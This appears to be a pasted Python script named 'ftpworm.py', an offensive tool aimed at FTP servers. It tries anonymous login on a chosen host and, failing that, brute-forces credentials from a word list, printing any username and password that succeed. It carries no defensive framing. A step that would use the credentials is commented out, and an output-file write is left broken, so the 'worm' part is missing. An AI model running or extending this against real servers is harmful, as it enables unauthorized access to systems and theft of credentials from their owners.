ftpworm.py.save 2.2 KB

12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364
  1. import ftplib
  2. import optparse
  3. def anonLogin(hostname, port, output):
  4. try:
  5. f = open(output, 'w')
  6. ftp = ftplib.FTP()
  7. ftp.connect(hostname, port)
  8. ftp.login("anonymous", "me@your.com")
  9. print ("\n[*] " + str(hostname) + " FTP Anonymous Logon succeeded.")
  10. f.write
  11. ftp.quit()
  12. return True
  13. except Exception as e:
  14. print ("\n[-] " + str(hostname) + " FTP Anonymous Logon failed.")
  15. return False
  16. def bruteLogin(hostname, port):
  17. pF = open("ftpcreds.txt", "r")
  18. for line in pF.readlines():
  19. userName = line.split(":")[0]
  20. passWord = line.split(":")[1].strip("\r").strip("\n")
  21. print ("[+] Trying: " + userName + "/"+passWord)
  22. try:
  23. ftp = ftplib.FTP()
  24. ftp.connect(hostname, port)
  25. ftp.login(userName, passWord)
  26. print ("\n[*] " + str(hostname) + " FTP Logon succeeded: " + userName + "/"+passWord)
  27. ftp.quit()
  28. return (userName, passWord)
  29. except Exception as e:
  30. pass
  31. print ("\n[-] Can not brute-force FTP credentials.")
  32. return (None, None)
  33. def main():
  34. parser = optparse.OptionParser("Usage requires -H <target host> -p <port> ")
  35. parser.add_option("-H", dest="tgtHosts", type="string", help="specify the host")
  36. parser.add_option("-p", dest="port", type="int", help="specify port")
  37. parser.add_option("-o", dest="output", type="string", help="output file")
  38. (options, args) = parser.parse_args()
  39. tgtHost = options.tgtHosts
  40. port = options.port
  41. output = options.output
  42. if tgtHost == None:
  43. print(parser.usage)
  44. exit(0)
  45. if anonLogin(tgtHost, port, output) == True:
  46. username = "anonymous"
  47. password = "me@your.com"
  48. print ("[+] Using anonymous creds to attack")
  49. #attack(username, password, tgtHost, redirect)
  50. else:
  51. bruteLogin(tgtHost, port)
  52. if __name__ == "__main__":
  53. main()